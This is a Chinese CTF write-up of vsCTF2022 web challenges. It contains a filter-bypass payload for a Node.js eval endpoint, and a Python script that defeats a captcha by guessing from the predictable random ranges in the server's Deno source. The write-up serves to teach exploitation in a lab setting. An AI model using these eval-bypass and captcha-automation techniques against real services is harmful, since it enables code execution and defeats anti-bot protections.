您当前的位置: 首页 > 

[vsCTF2022]web题目复现

发布时间:2022-07-13 18:39:08 ,浏览量:12

Baby Eval
const express = require('express'); const app = express(); function escape(s) { return `${s}`.replace(/./g,c => "&#" + c.charCodeAt(0) + ";"); } function directory(keys) { const values = { "title": "View Source CTF", "description": "Powered by Node.js and Express.js", "flag": process.env.FLAG, "lyrics": "Good job, you’ve made it to the bottom of the mind control facility. Well done.", "createdAt": "1970-01-01T00:00:00.000Z", "lastUpdate": "2022-02-22T22:22:22.222Z", "source": require('fs').readFileSync(__filename), }; return "" + keys.map(key => `${key} 
${escape(values[key])}
`).join("") + ""; } app.get('/', (req, res) => { const payload = req.query.payload; if (payload && typeof payload === "string") { const matches = /([\.\(\)'"\[\]\{\}<>_$%\\xu^;=]|import|require|process|proto|constructor|app|express|req|res|env|process|fs|child|cat|spawn|fork|exec|file|return|this|toString)/gi.exec(payload); if (matches) { res.status(400).send(matches.map(i => `${i}`).join(" ")); } else { res.send(`${eval(payload)}`); } } else { res.send(directory(["title", "description", "lastUpdate", "source"])); } }); app.listen(process.env.PORT, () => { console.log(`Server started on http://127.0.0.1:${process.env.PORT}`); });

nodejs的eval命令执行,过滤了很多,利用

?payload=directory`flag`
vsCAPTCHA

进入页面需要我们输入验证码

image-20220713002134009

根据图示:我们需要在每一轮也就是10s内正确输入验证码,总共输入正确1000次,验证码结果为两数相加

抓包发现x-captcha-state字段,是一段jwt,解码看一下

image-20220713002652392

猜测字段含义:

  • exp:表示令牌不再有效的时间戳
  • jti : 唯一标识符,用于区分我们的token和其他token
  • failed:指示一步是否验证失败
  • numCaptchasSolved : 验证的步骤数

第一种思路是将令牌中numCaptchasSolved的值更改为 1000,然后发送它来欺骗服务器,使其认为已经验证了1000次。但是,JWT 是经过签名的,尝试之后发现现有方法都不行,因此必须找到另一种方法。

另一种思路是使用 OCR 来检索验证码的内容,但在如此有限的时间内,显得很繁琐且不一定成功。

我们需要另辟蹊径,仔细观察每次的验证码,似乎生成的数都是相近的,我们不妨查看一下它的生成逻辑。

代码结构:

├── __MACOSX
│   └── vsCAPTCHA
│       └── static
├── vsCAPTCHA
│   ├── Dockerfile
│   ├── generate.sh
│   ├── src
│   │   └── main.ts
│   └── static
│       └── index.html
└── vsCAPTCHA.rar

看到main.ts

import { createCaptcha } from "https://deno.land/x/captcha@v1.0.1/mods.ts"; import * as jose from "https://deno.land/x/jose@v4.8.3/index.ts"; import { Application, Router } from "https://deno.land/x/oak@v10.6.0/mod.ts"; const FLAG = Deno.env.get("FLAG") ?? "vsctf{REDACTED}"; const captchaSolutions = new Map(); interface CaptchaJWT { exp: number; jti: string; flag?: string; failed: boolean; numCaptchasSolved: number; } const jwtKey = await jose.importPKCS8( new TextDecoder().decode(await Deno.readFile("./jwtRS256.key")), "RS256" ); const jwtPubKey = await jose.importSPKI( new TextDecoder().decode(await Deno.readFile("./jwtRS256.key.pub")), "RS256" ); const app = new Application(); const router = new Router(); const b1 = Math.floor(Math.random() * 500); const b2 = Math.floor(Math.random() * 500); router.get("/", (ctx) => { return ctx.send({ path: "index.html", root: "./static", }); }); router.post("/captcha", async (ctx) => { const stateJWT = ctx.request.headers.get("x-captcha-state"); const body = await ctx.request.body({ type: "json", }).value; const solution = body.solution; let jwtPayload: CaptchaJWT = { // 10 seconds to solve exp: Math.round(Date.now() / 1000) + 10, jti: crypto.randomUUID(), failed: false, numCaptchasSolved: 0, }; if (stateJWT) { try { const { payload } = await jose.jwtVerify(stateJWT, jwtPubKey); jwtPayload.numCaptchasSolved = payload.numCaptchasSolved; if ( !captchaSolutions.get(payload.jti) || captchaSolutions.get(payload.jti) !== solution ) { const jwt = await new jose.SignJWT({ failed: true, numCaptchasSolved: payload.numCaptchasSolved, exp: payload.exp, }) .setProtectedHeader({ alg: "RS256" }) .sign(jwtKey); ctx.response.headers.set("x-captcha-state", jwt); ctx.response.status = 401; return; } } catch { ctx.response.status = 400; return; } jwtPayload.numCaptchasSolved += 1; } const num1 = Math.floor(Math.random() * 7) + b1; const num2 = Math.floor(Math.random() * 3) + b2; const captcha = createCaptcha({ width: 250, height: 150, // @ts-ignore provided options are merged with default options captcha: { text: `${num1} + ${num2}`, }, }); ctx.response.headers.set("content-type", "image/png"); if (jwtPayload.numCaptchasSolved >= 1000) { jwtPayload.flag = FLAG; } ctx.response.headers.set( "x-captcha-state", await new jose.SignJWT(jwtPayload as unknown as jose.JWTPayload) .setProtectedHeader({ alg: "RS256" }) .sign(jwtKey) ); captchaSolutions.set(jwtPayload.jti, num1 + num2); ctx.response.status = 200; ctx.response.body = captcha.image; }); app.use(router.routes()); await app.listen({ port: 8080 }); 

服务器初始化的时候会同时初始两个全局变量直到服务器关闭

const b1 = Math.floor(Math.random() * 500); const b2 = Math.floor(Math.random() * 500); 

Math.random()生成一个介于 0 (包含)和 1 (不包括)之间的伪随机数

  • b1 的值介于 0 *(包括)*和 500 *(不包括)*之间
  • b2 的值介于 0 *(包括)*和 500 *(不包括)*之间

而生成验证码的逻辑

const num1 = Math.floor(Math.random() * 7) + b1; const num2 = Math.floor(Math.random() * 3) + b2; const captcha = createCaptcha({ width: 250, height: 150, // @ts-ignore provided options are merged with default options captcha: { text: `${num1} + ${num2}`, }, }); 

这下很好理解了,验证码的范围:

  • num1=[b1,b1+1,b1+2,b1+3,b1+4,b1+5,b1+6,b1+7[
  • num2=[b2,b2+1,b2+2,b2+3[

那么多观察几次就会发现b1 = 154和b2 = 425,并且这两个数字不会更改是全局变量

因此

num1的值将在以下范围内:[154,155,156,157,158,159,160]

num2的值将在以下范围内:[425,426,427]

验证码的范围:[579, 580, 581, 582, 583, 584, 585, 586, 587]

最终写一个脚本:

import sys import json import base64 import requests

url = "https://vscaptcha-twekqonvua-uc.a.run.app" res = requests.post(f"{url}/captcha", data="{}") x_captcha_state = res.headers["x-captcha-state"] print(base64.b64decode(x_captcha_state.split(".")[1] + "==").decode()) while True: for ans in [579, 580, 581, 582, 583, 584, 585, 586, 587]: # [154, 155, 156, 157, 158, 159, 160] + [425, 426, 427] res = requests.post(f"{url}/captcha", data=f"{{\"solution\": {ans}}}", headers={"x-captcha-state": x_captcha_state}) if len(res.content) == 0: # Speed up!! continue try: state = base64.b64decode(res.headers["x-captcha-state"].split(".")[1] + "==").decode() except: print(res.headers["x-captcha-state"]) # Padding error? json_state = json.loads(state) print(state) if json_state["failed"] == False: if json_state["numCaptchasSolved"] >= 1000: print(f"Flag: {json_state['flag']}") sys.exit() x_captcha_state = res.headers["x-captcha-state"] break 

这里远程环境有问题,我本地起了一个来跑

image-20220713012831399

Baby Wasm

web汇编,以后补上

关注
打赏
1688896170
查看更多评论

暂无认证

  • 12浏览

    0关注

    115984博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文
立即登录/注册

微信扫码登录

0.0525s